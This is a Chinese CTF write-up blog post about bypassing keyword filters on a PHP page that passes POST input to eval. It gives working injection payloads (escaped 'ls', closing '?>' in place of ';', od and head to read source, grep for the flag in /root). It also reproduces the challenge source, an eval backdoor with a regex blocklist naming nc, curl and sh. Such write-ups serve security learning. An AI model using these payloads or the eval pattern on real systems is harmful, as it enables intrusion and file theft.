[CTF]命令执行绕过

背景

一个黑页

eval($_POST['xxx'])

其实扫备份文件是可以扫到的 但是做的时候没扫 直接做了

尝试

存在部分关键词过滤,其中正常应该使用POST:a=system("ls");
但此处;被过滤
发现可以使用?>,即a=system("ls") ?>

尝试获取源码

先看下文件夹下有什么吧
发现$、ls、|、&被过滤
解决方法

system("l\s")?>
system('l""s')?>
或者不用system PHP自己也有函数
var_dump(scandir('.'))?>

尝试读取文件,此处.php、cat这些都被过滤
可用的

head -n 500 file //行数
head -c 500 file //字节
tail同理
od -c:ASCII字符或反斜杠序列(如\n)
system('o\d -A d -c index.p\hp')?>

这里head不知道有什么限制 最多只能读取511行,其他读取命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

.swp文件恢复

vim -r xxx.xx.swp

任意文件读取

这里&、|都被过滤 不能执行两条命令
通过ls -a /dir 可以进行任意文件读取

system("l\s -a /etc")?>

查找包含字符串的文件

system("grep -r 'fla' /root ")?>

<?php
if(!preg_match("/antsword/i",$_SERVER['HTTP_USER_AGENT'])){
    
    if(isset($_POST['shana'])){
    	$a = $_POST['shana'];
	
        if(preg_match("/flag|cat|;|more|less|\\$|\\|\*|tac|nl|od|head|&|<|eval|`|{|assert|]|nc|curl|include|file|req|~|\^|=|:|%|sh|call|array|php|assert|find|ls/i",$a)){
                echo '<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>';
        }
	else{
	    
            ob_start(function($data){
            if (strpos($data,'JUST{') !==false)
            diei('<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>');
            return false;
        });
                eval($a);
                echo '<script>window.location.href="index.php"</script>';
        }

    }
}
?>
posted @ 2020-11-26 16:02  歇马  阅读(694)  评论(2编辑  收藏  举报